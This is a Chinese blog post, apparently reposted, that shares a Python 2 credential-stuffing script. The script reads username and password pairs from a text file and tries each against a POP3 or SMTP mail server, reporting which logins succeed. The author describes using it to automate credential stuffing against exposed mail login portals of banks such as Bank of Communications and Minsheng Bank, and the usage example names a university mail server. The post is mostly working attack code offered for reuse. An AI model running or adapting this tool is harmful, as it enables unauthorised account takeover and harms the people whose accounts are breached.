标签:
# coding=gb2312 # 确保python支持中文注释 # 输入邮件地址, 口令和POP3服务器地址: import poplib import smtplib import sys def checksmtppassword(smtp_server,username,password): try: server = smtplib.SMTP(smtp_server, 25) # SMTP协议默认端口是25 这里解析不了域名就会抛出异常登录失败 #server.set_debuglevel(2) server.login(username, password) except: print ‘登录不成功‘ else: print ‘登录成功‘ def checkpop3password(pop3_server,username,password): try: server = poplib.POP3(pop3_server) #server.set_debuglevel(2) server.user(username) server.pass_(password) except Exception,e: print ‘登录不成功‘ else: print ‘登录成功‘ server.quit() def open_check_password_user(file_path,server_ip,user_num,pass_num,mode): mail_server=server_ip f=open(file_path) each_line=f.readline() while each_line: each_line=each_line.strip(‘\n‘)#去除换行符 list = each_line.split() #list这里是数组 #print list[0] password=list[ int(pass_num) ] username=list[ int(user_num) ] print list[ int(user_num) ] print list[ int(pass_num) ] if mode==‘pop3‘ : checkpop3password(mail_server,username,password) if mode==‘smtp‘ : checksmtppassword(mail_server,username,password) each_line=f.readline() if __name__ == ‘__main__‘: print ‘mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode‘ print ‘mail_check.py nefu.txt pop.nefu.edu.cn 2 1 pop3/smtp‘ open_check_password_user(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
公司业务的需求,这段时间干的事情web居多。
以上脚本,配合一个txt便可以全自动的去对如 交通银行 民生银行等暴露外网邮箱登录接口等敏感行业的厂商进行撞库测试。
花了半天时间写的。效果还不错,贴出来共享一下,以后再改进
支持smtp/imap smtp/pop3的撞库python撞库脚本
标签:
原文地址:http://www.cnblogs.com/kmshhl/p/4530682.html